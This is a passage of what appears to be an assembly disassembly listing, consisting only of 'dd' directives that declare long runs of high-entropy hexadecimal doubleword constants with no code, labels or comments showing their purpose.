		dd 0B7E3D55Ah, 4528F801h, 58C5096Dh, 694B68B3h,	0C86CCCEEh
		dd 490A0802h, 57F697E9h, 4FA454A0h, 0BDA042FCh,	6AF53591h
		dd 8379C75Eh, 7628F1E5h, 0A0E3B84Bh, 12852608h,	0C04334F9h
		dd 0EEC0E296h, 0B4500213h, 61D4900Fh, 0E60855F4h, 0EFF9D621h
		dd 7F23831h, 70666257h,	5E24965Fh, 0EF6EC4ECh, 0E9E0DCB2h
		dd 0B8A860C1h, 47DC428Bh, 75FF6A12h, 0A1FD1361h, 3DBA3E3Eh
		dd 68D8312Eh, 66B84F9Ah, 5087B8E4h, 4CA0CBFDh, 5A1DF8F7h
		dd 0EF841585h, 0A2C5061Eh, 4A8A0FA0h, 0DD78984Ah, 0A6CC524Fh
		dd 105F6241h, 9055F328h
		dd 82803E65h, 19068860h, 89E14013h, 9109F0EBh, 2259133Dh
		dd 7919F801h, 482D5860h, 3CF1182Fh, 9322934Fh, 0BDE85DE5h
		dd 0F2D9ACEh, 0B5DE466h, 8998B03Eh, 7F49A4DEh, 7CAFEBCFh
		dd 5970C255h, 453EB800h, 27F6B8F7h, 0FB186CB4h,	32BC673Ch
		dd 3BD6C740h, 0B8014827h, 0BFEE523Dh, 0E60F8DC1h, 0C0C8360h
		dd 0D939D114h, 9A74E1A9h, 21765CBFh, 913CF117h,	597DEE1Dh
		dd 6417FDF1h, 70E34672h, 0FFCBD31Ah, 9E1646C6h,	315D8622h
		dd 0E495FDF2h, 3CD8F4B0h, 9FA6485Bh, 95BF8745h,	152CF6Ah
		dd 0B0DFC00h, 44C06B74h, 0C5A147C4h, 0E27CDEFAh, 307658EBh
		dd 2C163F53h, 2C237A6Bh, 0A51C5C69h, 7E09D27Eh,	40305228h
		dd 0C01D3FF0h, 0C29F06EAh, 5AD083BFh, 93822C59h, 0E9F0C9B0h
		dd 0E5C87FF6h, 5B81CCCAh, 9309B36Fh, 0FBF402ECh, 0C7A963A4h
		dd 72310443h, 0A1778F7Dh, 5BF6C29Eh, 0E643C561h, 0F5CD0007h
		dd 0B946D049h, 7B16690Bh, 24EE316Ch, 19FFB463h,	0A42F5D2Ch
		dd 25F66782h, 67567DFCh, 4E15D7A5h, 0EE1CB0A5h,	697B13C1h
		dd 1350FA01h, 5055008h,	2D5A7BB2h, 5860BCF5h, 1F29BFCFh
		dd 0AD7956Ah, 0C608E972h, 430C3105h, 404F0277h,	2E3370B8h
		dd 16AD2E0Bh, 1683A76Ah, 9CEE02E8h, 0EE409B0Ah,	8F009F51h
		dd 48E104EAh, 0F3507B90h, 294E5907h, 60E9BC90h,	0D4EE9D7Eh
		dd 0D7DFF727h, 6EB2D368h, 79FA6748h, 31F2AD09h,	0A3508043h
		dd 97798628h, 82988FDh,	8E0E5F18h, 9D2FE403h, 18C5BC85h
		dd 7D4E1C08h, 0F51AB527h, 0E918699Ch, 58CACEE3h, 49E87889h
		dd 0B85E365Eh, 8653F28Fh, 990C43FCh, 92021EF4h,	6FDAA151h
		dd 34D90EA2h, 2F21A768h, 0CE13364Fh, 578429A9h,	83BFE93Ch
		dd 0E8505255h, 16193E85h, 0F162E97Eh, 8AA82BEAh, 898329BDh
		dd 7C42E2E4h, 0BA525080h, 4F679300h, 0CA814A21h, 0F00712C9h
		dd 0A8890439h, 0ECDAB29h, 0DC60E20Dh, 0AF9C059Bh, 0C83080E9h
		dd 0B6E62696h, 74C66C4Ah, 0B1B145Eh, 0EA02CD35h, 75367BA1h
		dd 38CBE2F5h, 121AB867h, 85D267C7h, 2F89003Ah, 1550B23h
		dd 1241D64Ch, 2DBAF87Ch, 6822617Fh, 2A582F03h, 529FC2CDh
		dd 97A0139Eh, 6458090Ch, 3976367Dh, 7C76F605h, 0E3816DDBh
		dd 0AF143E75h, 82108B8Fh, 45D4DCAh, 784774F6h, 46F03D80h
		dd 3D267679h, 858E23E5h, 4CBC122h, 80AEE877h, 37C73E4h
		dd 0E708CDC4h, 5C9FC058h, 1117B55Eh, 0B5A6EF28h, 5BF83009h
		dd 0B135B07h, 0BE3344FFh, 3FCC62C6h, 2C90C3C6h,	2C6DFC09h
		dd 0D0A75D52h, 8A636005h, 8F010D57h, 0C10E1D44h, 2F408E0h
		dd 402A2D31h, 63912CD8h, 0C285E98Bh, 53D1753Dh,	3D7E2A4Dh
		dd 0BAB87F43h, 86706D3Fh, 9FC9E320h, 56171AFCh,	1EC08EBAh
		dd 63C5BF57h, 43814080h, 117153C5h, 7E31D03Fh, 0EB11FC19h
		dd 0AF4EFE31h, 0FEC0D0D5h, 13BA30A2h, 0AF4B436Bh, 7616BD18h
		dd 723F266Ah, 0C849388Bh, 0BB2A0112h, 5D2796F6h, 3126A3F7h
		dd 0F7EE90F5h, 0F6DFF7D5h, 0D8595A16h, 687166F3h, 0C6F8175Fh
		dd 96D59C89h, 0BFCCF816h, 8B8E8782h, 32B4C225h,	91DA5A5Fh
		dd 38E9AB3h, 268FE14Ah,	52535A00h, 1E75685Ch, 1E3222A3h
		dd 9D9B70A2h, 92969AEDh, 683FF9F1h, 0B7BE5A01h,	5CFCE9D0h
		dd 0B0854C23h, 0C89D40D0h, 0B20D752Dh, 45111E5Ch, 0F3917A8Eh
		dd 2C7A25C1h, 8160CC15h, 531AB40Ah, 50E73988h, 6594FCBEh
		dd 2EA11960h, 0C10B8D17h, 0E307DC8h, 49D212C5h,	1069ECDFh
		dd 5DB479AFh, 0EBC916ADh, 9534DADCh, 4A47AAA0h,	42BD2FE3h
		dd 0E90701E8h, 416B4EA5h, 0B3049990h, 49C7ED3Ch, 92B417C8h
		dd 2275E442h, 0D741444Dh, 621C7F10h, 51097582h,	308FC6F5h
		dd 0C1B30E0Ch, 0DB256FB6h, 21E87576h, 0D7693DE9h, 99E5D556h
		dd 501CFDADh, 6860FB90h, 32DBC659h, 8A5858EAh, 0F6F2AEB5h
		dd 9549F240h, 0F502BF72h, 37BF7D79h, 9F16F521h,	0C657E926h
		dd 5B55528Bh, 3EE9C13Eh, 1A497E42h, 0C58840Ah, 25CC1C49h
		dd 8A33C390h, 13F387CEh, 0BF622064h, 89EED217h,	2F112026h
		dd 73806702h, 0FE232CE9h, 0C655C954h, 86E913C1h, 35A14169h
		dd 0E1232703h, 0CFB93B50h, 98C0E089h, 7F13D8BBh, 0A2AE3079h
		dd 15E9D28Eh, 5E43D410h, 3A0E2DFAh, 9835DA80h, 2805020Ah
		dd 4818600Fh, 0B300705Ch, 353D4B3Eh, 931A1876h,	2F669A7Eh
		dd 2CE9E15Bh, 4AE45710h, 80C3EAD2h, 0B45F12B3h,	28DE9572h
		dd 18108842h, 0C182C72Eh, 0FCE303B6h, 0CABE9B94h, 96E093DBh
		dd 944C048Ah, 0BAB6E978h, 12D357F9h, 0F8A81CE2h, 345C300Ah
		dd 21D35C7h, 0FA87D774h, 0B4264ED1h, 0C5573807h, 3C61DEC9h
		dd 199ACB82h, 0F07F6BB7h, 0EC789580h, 330F5D17h, 0AFB9C5AEh
		dd 53C9C4A3h, 304FE1ECh, 2DEFF113h, 64347E96h, 85B82CEAh
		dd 78BFEBB2h, 13F5953Eh, 5987F15Bh, 223A306Bh, 8C39C680h
		dd 1AF4CAFEh, 17789C88h, 5DB4E4E9h, 79D98937h, 71F00FB4h
		dd 7D3005BDh, 0C04D49F4h, 0EF602D14h, 0DFAC424Fh, 41A00CD8h
		dd 29171C09h, 8B3302EAh, 0C04E051Dh, 6C71AB3Bh,	0EE094A1Fh
		dd 82F1E5E5h, 0DA7E7BFFh, 41E98FC0h, 43413D4Eh,	3BFC48BDh
		dd 8B8CA97Ah, 0AA195102h, 0EA7E9D9Fh, 4A1988C2h, 0C9FDEBDh
		dd 68B2E6FDh, 66704E27h, 217D2059h, 0DD525E27h,	7AEF7931h
		dd 50F9045Fh, 7C4AB8C4h, 147452FFh, 0CAC4649Fh,	0A8BA00C5h
		dd 9F560E3Ah, 0F20025DCh, 0D943A978h, 9200BC89h, 0ED5529CFh
		dd 51E050AEh, 7E164768h, 0AE097599h, 0E2B9DE41h, 8CCC5758h
		dd 803CE917h, 681FCBF7h, 5877EAB4h, 8E4C2E52h, 0EF360FC6h
		dd 2C2DF800h, 0FF57B525h, 95C5BD30h, 0C13F56AFh, 414EF2E9h
		dd 7901B825h, 88EA0201h, 0D74DB00Fh, 2608C528h,	43AF24A7h
		dd 1C0507E2h, 5DE26E6h,	7CEA9620h, 0F21B0839h, 0A408D701h
		dd 0F12C3CDFh, 159E023Eh, 6402C41h, 0C41037DEh,	5E252954h
		dd 0FC2D77DBh, 80671312h, 6690B11Dh, 5C4B5174h,	672C99A4h
		dd 41040CA6h, 2F6D94E9h, 945DD09Ch, 0E90D6C18h,	79B5FF72h
		dd 42A24A60h, 1C486FBDh, 949854B8h, 0BCC2313Bh,	0D5019858h
		dd 9F83BED6h, 7C946FCEh, 5EFF54Bh, 2995E909h, 0F51884B4h
		dd 1A38CA94h, 6F7669E9h, 5819756h, 58604D0Ah, 0AB1E0D4h
		dd 0C389CA66h, 0B92116E6h, 550C2DDCh, 7A7FDDBAh, 166099C8h
		dd 0E9EC2256h, 0AC3243F2h, 627651h, 82ED805Bh, 5E95E8E0h
		dd 4333624Eh, 0B0607056h, 95882C23h, 0CE0971D4h, 0A1657741h
		dd 0FEF78802h, 0BAC6EBCFh, 5BAE82E6h, 0B0C07DF6h, 4382FB32h
		dd 779EE263h, 41004509h, 45260DF1h, 0E13B4876h,	32E61893h
		dd 7E475F18h, 93290FBh,	1553B237h, 901641FCh, 0AA3B1CF1h
		dd 103E076Ch, 2E22F523h, 0FE100E06h, 1E8FF72Eh,	3B1C6FC5h
		dd 0FF95ACFCh, 0B0B2EE98h, 3BAC0F6h, 84685001h,	583EAD0Dh
		dd 471C0B6Bh, 0AA19A2Ah, 2FDB2A44h, 8110857h, 7E4E1C30h
		dd 3240783Ch, 0D08FDBE5h, 9FA1677h, 66714883h, 0F3607E71h
		dd 82B4B717h, 1F56A982h, 544B2D00h, 0ED1C4ACAh,	56D880FEh
		dd 5055D0BEh, 2E6B4FEh,	3A60477Ch, 0FDDE4DE9h, 0D5C70909h
		dd 0FC0020F9h, 0E9F9EDEFh, 95CB54B0h, 92B91E66h, 11098B3Eh
		dd 0DA393B77h, 8056C87Bh, 6F9348C7h, 45A2257Ah,	607024C9h
		dd 5A5B6676h, 0F5844FEDh, 5E88F2C2h, 2D4D8EE0h,	0F5897E09h
		dd 68C0037Fh, 0A9AB4E0Bh, 40B61426h, 2152CF8Ch,	22315CC4h
		dd 5909482Ch, 7D04AF6Ch
		dd 1C16BAF8h, 1232CABEh, 2CBEC2B6h, 4BA2AA71h, 1A3CA6A2h
		dd 1B9DAC0Fh, 220A13BDh, 1BE3807Ch, 7A3D1A64h, 27CEACE9h
		dd 0B0535750h, 553B1700h, 504EF02Ch, 0D3AAC41Fh, 7507E945h
		dd 0B7E31890h, 7D5B3B5Eh, 3E010D5Ch, 7AE9398Ah,	17256914h
		dd 84EEF987h, 0A501AE9Bh, 406E2022h, 0EC2A9121h, 298FF149h
		dd 0EB3ED87Ah, 54160543h, 13BC6559h, 80FC258Ch,	0C817AE02h
		dd 0D168C490h, 933E081Ch, 0F8FBEBh, 0EDD7E86h, 0F3E5BB4Eh
		dd 1CBFAC2Fh, 77206FA2h, 0F48D20F1h, 968553Bh, 8028CC22h
		dd 3B9BCD0Bh, 3B3C765Ah, 0DE3B83F5h, 34BB045Ah,	3D5D0E6Bh
		dd 222DB0DDh, 0D93D07B6h, 4453AF93h, 0E948B229h, 0BD7FF118h
		dd 70451476h, 0CB06E54Ch, 70DA99C5h, 0C1095D12h, 0F9F7E009h
		dd 0C0352455h, 0E6C04FB6h, 0E9D00739h, 0D1F1020Ah, 65DD091Bh
		dd 0C98D08E5h, 5DC58100h, 0F62CA960h, 0CF525ACFh, 0D607F24h
		dd 0B98435E9h, 0F22F4BA9h, 4A022479h, 0AF36012h, 5E7BD910h
		dd 90DE91B0h, 3F9E0EFBh, 0CEC01BEFh, 51744CC1h,	0E20FF6F8h
		dd 58755229h, 4F93E9C6h, 5F6FCA57h, 0EF6F2161h,	179DB63Ah
		dd 73455AC0h, 2CEB5B82h, 0EF4F010Ah, 321129AAh,	8AFF4ED8h
		dd 58C795CBh, 173E072Ch, 0DE906DF8h, 0B7F03FE9h, 81326179h
		dd 0F0F97D29h, 0BF89C39Fh, 9E93E9C0h, 5F9C0B6Bh, 0F2808B76h
		dd 31497929h, 53DB642h,	0FF0B6598h, 36B555E5h, 69D1B843h
		dd 0DBBA8D0Dh, 0D04E16BAh, 6882F5DEh, 0C558C66Bh, 0CFBEBD42h
		dd 70C09C2Fh, 0A994515Eh, 0D6C18962h, 0F594573h, 0F32603D0h
		dd 0EC901367h, 8E23B905h, 0F2014671h, 348D3E35h, 911EC730h
		dd 41668B09h, 0D4702709h, 1BF43EEFh, 0EECA41F7h, 3859A383h
		dd 89E2BB02h, 0DC71937Fh, 0AC138084h, 0D5217CABh, 977E925h
		dd 0E591FD37h, 87865512h, 0F9054F2Eh, 0D2B342h,	64821A0Ch
		dd 653ED2Dh, 2E92737h, 0C1FE2485h, 4EBE7E39h, 3054AE0h
		dd 1CE87659h, 0ACECA7E9h, 5C58CB44h, 1AFFC2ADh,	0B0F11CDFh
		dd 0FFC42780h, 5184D77h, 0BE463668h, 5BB0935h, 0F07F6969h
		dd 401D73BEh, 0CB872FF2h, 0FE159FCh, 12A48E9h, 682004BFh
		dd 5CD6E20Dh, 0D682E963h, 2F524C12h, 0D968D304h, 0EC84FB15h
		dd 0BCE412FBh, 32BC4E4Bh, 7D6AE9D6h, 74EC1927h,	2CD86274h
		dd 16E702FDh, 0BA5F047Ah, 72B6EAD1h, 0D42E66FDh, 4884E1D9h
		dd 3917E741h, 40017007h, 296C84F7h, 90EB9544h, 384DE2A6h
		dd 0F7E3548h, 0F8FC4BD3h, 77910Ch, 0CC2D0288h, 0E95F4355h
		dd 121F4C59h, 0E3EB315Bh, 2DBB96B8h, 0B0880286h, 0FEA9344Bh
		dd 0E6F22FBEh, 5CD5DC92h, 0E6C4C995h, 92131A6h,	0C7551C8Bh
		dd 8E905DBh, 251AE313h,	9D1FDAA7h, 0E8E61A22h, 2F07F09h
		dd 4A10648h, 60B93BA6h,	2D9F00ABh, 11C5388Ah, 0AD90CEB8h
		dd 0BE077592h, 3B920762h, 540B9AA2h, 0BF90A5CEh, 5813ACE3h
		dd 0BB180FE6h, 0E240AD1Ch, 8D76B50Ch, 7651F75Ah, 3B7BD549h
		dd 96AA10C9h, 0F1F3EF31h, 8A3B0DD7h, 228E4CACh,	5523A0CAh
		dd 11EDF352h, 30C62D87h, 89F51199h, 31C658F0h, 28BB0594h
		dd 635B8050h, 22205E89h, 7CB830EBh, 519CC30Ah, 0F5EB29F4h
		dd 2CFE6056h, 5F1F909Ch, 0E0DB937Bh, 0D7163DA9h, 2B2CE23h
		dd 335AABB8h, 7AD6E114h, 0D236B33Fh, 0AC0F412h,	2F034BBEh
		dd 0D5E90DE0h, 0C652CC81h, 1D76414h, 0F829C46Ah, 0E2C3B3A2h
		dd 5FA7939h, 0F6FD1175h, 0AA9F123Eh, 0BF574E60h, 4A6EEAAEh
		dd 9090BF44h, 5B786858h, 1DDEE672h, 0FD447F0h, 7E9B0695h
		dd 90C174Dh, 0B3CDC4A7h, 5F12EA45h, 82E2E3BEh, 0E463FAE9h
		dd 0A358B599h, 7A99FEBDh, 0D9086073h, 0AC5C1303h, 0B82C5EADh
		dd 84644EE9h, 98E95D3h,	365BF6A3h, 30071909h, 804478ACh
		dd 941E0BB8h, 58954BAFh, 0C2D07FBh, 0D83FF79h, 53E1B97Fh
		dd 27DEA32h, 0E9405090h, 0ECB824D4h, 0D9956F21h, 91124E19h
		dd 2ABCE3D3h, 0D29E88E9h, 51BE4B2Ah, 57DD127Fh,	6DDF0881h
		dd 5B847F98h, 855246C5h, 0E7E25FBCh, 89905750h,	855BEB4Dh
		dd 0EEFD2EE1h, 2C45A85Ah, 5993AB6Eh, 0D5054800h, 9015DB6Bh
		dd 263AF010h, 3BB6040h,	769409A7h, 9127EFB0h, 501B042Dh
		dd 0CBE42DA7h, 874BA36Eh, 135B8ABEh, 9D094180h,	6645DF9h
		dd 7749A89Ch, 13841ACAh, 0A4560C6Eh, 219A4FEh, 91F3880h
		dd 7175CA01h, 0C18CEF8Dh, 6A00B936h, 0BF66D063h, 4C4FD7CBh
		dd 6201D0F1h, 1463A64h,	8D6A0CFh, 59A512B9h, 38DD4921h
		dd 28FACF73h, 0D2994B52h, 0BF4F1317h, 4C60BAE5h, 0B8495B02h
		dd 325E7CA9h, 81EBF812h, 4BBDFE5h, 7A5673C1h, 89775B02h
		dd 62E5F902h, 0D0081F55h, 0AA189503h, 0F5BE0B0Ah, 8B00ED36h
		dd 0F21361E7h, 0A7E61D60h, 0BFEED8D0h, 0EC52C7C3h, 8B6809AEh
		dd 7BB95721h, 5897240Ch, 2D48DCECh, 24E3D062h, 6A723952h
		dd 0B0F9579Bh, 5ED9F2E4h, 4A64E73Bh, 855112ADh,	0E91EB42Ah
		dd 87BFD55Ch, 398233F5h, 0D5F17DFBh, 9850EC01h,	0BA3B2912h
		dd 0C0B6634h, 78A9F45Bh, 584FBAE9h, 0FFC979E5h,	9F2DBC7Eh
		dd 0A39034CFh, 0B93D252Dh, 0C507C789h, 53D54D0Ah, 5AA1FBDEh
		dd 0AF61E941h, 76A890Bh, 69131F76h, 70C0E48h, 0F577137Eh
		dd 68080018h, 669D722Bh, 291B818Dh, 1032F73Ah, 0BF02DE70h
		dd 601A7C73h, 0C02F4BFFh, 0DE6FFE5Ch, 19D79810h, 0E30403EFh
		dd 2E9A012h, 800A43F8h,	2DF070C1h, 16579DE2h, 0C4AE27F8h
		dd 44CF69F6h, 41AA68C7h, 0BC18F4F8h, 16D20712h,	0AF465F15h
		dd 0E63A2A27h, 66DD20A9h, 0D768490Bh, 6A8F301Bh, 5ED02F2Fh
		dd 210B60F4h, 78F6D4C8h, 564F7DE9h, 0E3EECE74h,	0E9028777h
		dd 4B2DA4Bh, 0A818F9EEh, 842EC528h, 0A8081612h,	74E9E03Ch
		dd 19E8B70Fh, 49C0C37Dh, 0D307C1C7h, 2F7EC3Dh, 1368179Dh
		dd 0B160FE01h, 59285DCEh, 2727AF7Ch, 8803F937h,	0BF0148A8h
		dd 165A2221h, 6F054E81h, 2A4776FAh, 0EB04C4F9h,	0EF37A652h
		dd 0B1E9F830h, 85699525h, 1FD62717h, 16025550h,	0D506A10Ch
		dd 0ED053B16h, 6396435Dh, 73D13EC7h, 0A461094Dh, 5AA50B2Ah
		dd 8049B07Ch, 0AB13EFF4h, 396DBCDCh, 0BA7DCAA5h, 4DBAC1F8h
		dd 99556602h, 0EB34315Bh, 0EAF60781h, 0B22A2150h, 0DE9422E8h
		dd 0C65AF0FDh, 0D5E2489Dh, 2AF37A28h, 97BE349Ch, 5BA020F7h
		dd 1C66D2F6h, 1D20B753h, 0EB4ABDFAh, 0A381BD34h, 0F73E0A2Fh
		dd 0DFA85FA2h, 3BD52CC9h, 77862F49h, 0B7F0D689h, 0F55AE596h
		dd 0E994BADBh, 0D4CC5A8Bh, 29ADC5Dh, 0F3802EB3h, 51B03AE0h
		dd 622C99Fh, 0F7CCAE40h, 0C7CA4F69h, 18C23539h,	0AD054DBEh
		dd 5EA9480Fh, 715FF29h,	913750B1h, 5C28243Ch, 0E25F2CF9h
		dd 0D7E75409h, 759E8D9Ch, 8682776Bh, 7BFD3487h,	2CE6251Eh
		dd 0C232F008h, 3CE11D1Ch, 0F8E9478Bh, 70B53FD8h, 96390FFh
		dd 57EF1558h, 3246180h,	0E92D65F0h, 19145F4Fh, 5575E297h
		dd 0D675FA42h, 51C35AB3h, 698418A4h, 54AB2425h,	20123B7Dh
		dd 0CD1D04E6h, 0BBB7D0DCh, 0A02748D7h, 7EA7620Eh, 0F3F6016Ah
		dd 3ABEDF9Dh, 4660B3B1h, 99084A8Bh, 964D7223h, 0C63704BEh
		dd 0AB928859h, 5377420Fh, 58848545h, 0D5B752ACh, 0E24894A9h
		dd 223C09ADh, 1A240297h, 24CD77DAh, 940827A4h, 636800B9h
		dd 59050141h, 0F7A2C1E8h, 82B8B077h, 0FFF52FFDh, 0C2DDFCE3h
		dd 45F0DED3h, 9497F0F4h, 7599D72h, 3CA5E9C1h, 761A883Eh
		dd 0A9975492h, 68E301EDh
		dd 0CC2F072Ch, 0D300B846h, 0BD13E772h, 2D9B77A8h, 4FD02982h
		dd 6C2F632Fh, 0FDE0B723h, 67FEF029h, 7EB54F70h,	5651584Eh
		dd 0A18DBC97h, 0A22B1E6Dh, 0A9C36225h, 0C9680138h, 0D3EC6C5Eh
		dd 0B6ED3D1h, 0CB18E72Eh, 998125Ch, 0C121F1A2h,	0C40702B8h
		dd 8501253Eh, 0E9748E52h, 0C18126F0h, 805D6DB9h, 7A66870Eh
		dd 0D1328D5Fh, 0C8EDEAE1h, 9DD318FBh, 0ED81E751h, 89EF84BEh
		dd 3066E900h, 144D591h,	0FA4BBA1Fh, 0A468E570h,	0BC5F913Ah
		dd 18904949h, 30EF0976h, 0DD8C45CEh, 7C27415Ch,	0F266E0A7h
		dd 0E66B181Bh, 67FC0C66h, 649032E4h, 0CA87070Dh, 0AACC049h
		dd 543002C1h, 0EE66B946h, 0CC9A5FA0h, 0B687A983h, 647F0AA7h
		dd 89D79D8Ch, 992F995h,	0BA6CB73Bh, 56BCFC7Ah, 0A15B3562h
		dd 2C8AB3FCh, 2909D1CBh, 0DFCAD381h, 216D645Ah,	0A980FF49h
		dd 884EE97Dh, 680E88AAh, 3445B600h, 592D5B6Bh, 44FB3D77h
		dd 0D24EEBBBh, 98DD71AFh, 12C6CDF9h, 0AC7FD25Fh, 0E829C256h
		dd 0D84BC195h, 0DBF55D02h, 5E548B64h, 9434D44Ch, 45AEF712h
		dd 0BAB5F97Dh, 5B901638h, 56ECC8D3h, 465E5800h,	62F2D96h
		dd 0B7B75F2h, 0BBE73D28h, 0E751B84h, 0D159C655h, 4F4E7C3Ah
		dd 0F1F7130Fh, 0F79E201Ch, 63314D1Ch, 0F38023ADh, 5F68B278h
		dd 22EEE548h, 3F12210Eh, 1C34D801h, 985CF23Dh, 0ABEA4F5Ch
		dd 1F97492Dh, 0E8E8346Ch, 7A09D24Dh, 94CD2B7Ch,	201590FEh
		dd 0EABD6684h, 5DA64271h, 0D1B78B96h, 86E94164h, 1CFD32E3h
		dd 25535B9Dh, 0E12997EFh, 60834341h, 2040CEFBh,	38D86630h
		dd 0C2056106h, 9CC3CCFh, 7C404DB1h, 0B54BAC0h, 0CB4AE94Bh
		dd 89D73E92h, 0BDC37011h, 1595BEF4h, 9CEE4AE4h,	0B3FE49C4h
		dd 8421305Ch, 5E091EA9h, 0A7D66DD7h, 0C70920D3h, 4A95462Eh
		dd 0BF2AC55Eh, 4758DE79h, 0EFCF69E9h, 0A5B1D50h, 70F4D837h
		dd 0B33DDBA1h, 9FCDBB93h, 0A2C8E86Bh, 1F9F5440h, 0D75C45BBh
		dd 41BA7Eh, 28A3A7C6h, 80F2CAD6h, 0D67A6BA0h, 0BFE9137Fh
		dd 7B22A735h, 7A37B22Fh, 0D1822FDEh, 50C4315Eh,	4F7755C0h
		dd 0E90B09CFh, 0AD5A3A7Dh, 1F7E3F41h, 593356DCh, 3B52ECB0h
		dd 47A072B8h, 405F834Fh, 0DE98F31h, 0BBBF934h, 7D841C2Fh
		dd 0F36EA0DFh, 484B274Ch, 67072946h, 0FE44F25Dh, 97F1FD8h
		dd 0E514B228h, 0DDD48D02h, 7BD929ECh, 95762472h, 35019AD7h
		dd 1F3C7967h, 3EB68889h, 27326EAh, 4475300Ch, 2EFC44F7h
		dd 60DB24B8h, 167165C8h, 28A5FABFh, 2F0A2DF8h, 4E407AE9h
		dd 0B7245EB6h, 0F01342F6h, 0C23124EBh, 0ED62B901h, 0E8CD2761h
		dd 0C5BCD974h, 5004E64Fh, 9573906Dh, 77EFEEA0h,	3530C02Ch
		dd 0CB250E4Fh, 1A904A12h, 0FA618636h, 5553003Eh, 3DEA09BDh
		dd 0F53878h, 2E7AA0E5h,	86574822h, 76145111h, 0D12FBE27h
		dd 28A88823h, 0A7BA561Fh, 48C55940h, 86789A6h, 0F1695EF9h
		dd 65539DEFh, 0B8ABE9FBh, 7EFDB9E2h, 8D05401Dh,	23028821h
		dd 594CDB35h, 8C3FE029h, 428236h, 73BD6277h, 0C631AFFEh
		dd 38F3C68h, 3E3809B9h,	96205E23h, 22BD0C68h, 0A9EDE974h
		dd 5F7319D8h, 0A2689151h, 0ABC6D53Bh, 0FCBB7784h, 20E9A95Fh
		dd 4E074C72h, 0B243BC2Ch, 0AD943FDEh, 0D0F79507h, 0E826C531h
		dd 0A2DE8808h, 0D7910E47h, 3C2BE929h, 69DE9642h, 0B662FE02h
		dd 25B2E43Ah, 3BD5E411h, 99AFF540h, 0C5FD6A55h,	0AB685184h
		dd 0D128A7A6h, 0D2CB5809h, 0B050D305h, 4CC1EB71h, 8131C093h
		dd 5B287AD4h, 6FB5CDC3h, 468E4D8h, 8773235h, 8AA8AE59h
		dd 0A57FB093h, 0BE048DBAh, 338D6574h, 3CCFF9AFh, 8B95BB76h
		dd 7FDD8955h, 0BB5B5A85h, 0EDFC9E13h, 9562E985h, 0C19B8013h
		dd 7AF5C544h, 0B481ABA5h, 24F92C03h, 649BF118h,	0F0EC5BEFh
		dd 89DE0958h, 60B3F4C3h, 0C28017B2h, 0CEB04770h, 0F33E70B5h
		dd 7004DECCh, 66E82EA0h, 2C783B88h, 86B2894h, 0CD244E55h
		dd 0C9994D02h, 6E23611Bh, 95D4C104h, 5660048h, 893D5025h
		dd 3594Eh, 2C9B097h, 0BD753BE1h, 164EB3EAh, 73F3B198h
		dd 0B408898Ch, 71E98812h, 0DBB720EEh, 5398C138h, 941F7D2Fh
		dd 0BFA78887h, 5D10C549h, 0F3E4904Bh, 675F5395h, 0A43C2B00h
		dd 60215882h, 90F5ACDDh, 735EF813h, 0E2488EACh,	9DCDB872h
		dd 11789A76h, 5925D3E6h, 6AD9A803h, 0EFAD2457h,	0FBD60C6Bh
		dd 0F858E98Bh, 53B5E3h,	8B520DC5h, 84C7E2ABh, 2A861C7h
		dd 172CA0F7h, 36010D1Ah, 0E935F254h, 0B0005338h, 14B03092h
		dd 448EF2Ch, 5C72F946h,	504597Ah, 0AF2BB503h, 1368CE88h
		dd 0AAC9808Ch, 2045A45Dh, 71C0F812h, 285D9DE9h,	0FF56425h
		dd 651D6605h, 0FEBDC864h, 1755B1A4h, 0CC711C68h, 0DD4E1A7Fh
		dd 4E925F41h, 0FC3E5DE8h, 1066D42Bh, 715E42C0h,	0A5C5C3CAh
		dd 0F075583Eh, 87695912h, 53C71771h, 0CC82FA6Fh, 4CDDE96h
		dd 0CD797E68h, 24F4F579h, 564A5257h, 892D64E3h,	20B6FBF8h
		dd 559841C9h, 335E7E30h, 0BF88FC09h, 44AAA14Ah,	0B03271h
		dd 0F019EBEh, 98C6E663h, 0EBF603E3h, 3144D117h,	60F9EDCEh
		dd 4B9F144Eh, 0DDABAFADh, 578C2C45h, 9BF58B4h, 18B21B9Ah
		dd 1CBB8400h, 0E9133EE5h, 5DA32F8Bh, 0A4C8210h,	0BD574168h
		dd 11E70B6Fh, 262CEF39h, 0F6FF2C07h, 51EA40D8h,	0EEE4C588h
		dd 8084E92Dh, 0EDD6B90Ah, 5B6D7856h, 0ED9729C8h, 3F3761C2h
		dd 67C1E890h, 0C51425D8h, 500A6772h, 0CB6CCCAFh, 5F792E47h
		dd 0C10B5664h, 3F93578h, 481FC7E9h, 68099F57h, 9EFC4D62h
		dd 92583D60h, 95F2779h,	71320710h, 0FF4EF283h, 14E638C8h
		dd 0ED15F02h, 0AE318AE9h, 192CE988h, 0A1F85498h, 0BA2BE13Eh
		dd 0AB3EF32Dh, 0AF412C71h, 9457375h, 7B14ED01h,	0EC7E5782h
		dd 2F0841DDh, 55E36621h, 88926255h, 7E979270h, 0B57CBBF8h
		dd 3BCF04A8h, 0F28068E1h, 0A3EBCCA0h, 3AD3283Ch, 100AC8C3h
		dd 2775E687h, 0B9FDAEF7h, 452A5C99h, 0A4CC42B8h, 7427177Dh
		dd 5381C036h, 0B0D71BBh, 0DF2915E7h, 0AF392605h, 28603FA7h
		dd 453E571Eh, 6C09E3F8h, 783CD04Fh, 580702E7h, 0F018E97Ch
		dd 52505300h, 883A00B2h, 8245AD0h, 0B4B09504h, 92E80ACFh
		dd 0FF92E0BDh, 6FE9D80Dh, 40A066C1h, 5F642C9Dh,	790C476Dh
		dd 0C02F52D1h, 0FBC1E00h, 7E5C16Bh, 0A4A2BF32h,	884DE806h
		dd 0E9278E22h, 8EDEFC66h, 163E232Dh, 57D0D01h, 70BED00Fh
		dd 50607CBFh, 679A17E9h, 0C0585907h, 0E63208EEh, 393FDE06h
		dd 0E24A3738h, 15294AB7h, 0F572EB02h, 0F1B4D398h, 0F6506612h
		dd 0CB01F10Eh, 57C20458h, 0E01C4BEh, 0E3CAC7F2h, 1AFF3AFCh
		dd 1282B450h, 9F2472D6h, 25354881h, 0DACB7004h,	824D4A18h
		dd 846B26Ah, 3E9B0BE9h,	0C0B47D48h, 0DDFC6328h,	0D11F1309h
		dd 926CDC0Dh, 0E482EA08h, 0CC83C34Dh, 0E5D20FEBh, 0A692376h
		dd 2119EC80h, 15F6E84Eh, 0B129FA92h, 69B67A41h,	0E24E343Ah
		dd 0F69727DDh, 3A7327C2h, 375150E9h, 1E7ECCE9h,	0B3AD7AA5h
		dd 0B31F7391h, 783F393Fh, 8201DC41h, 55C203C4h,	57718CF4h
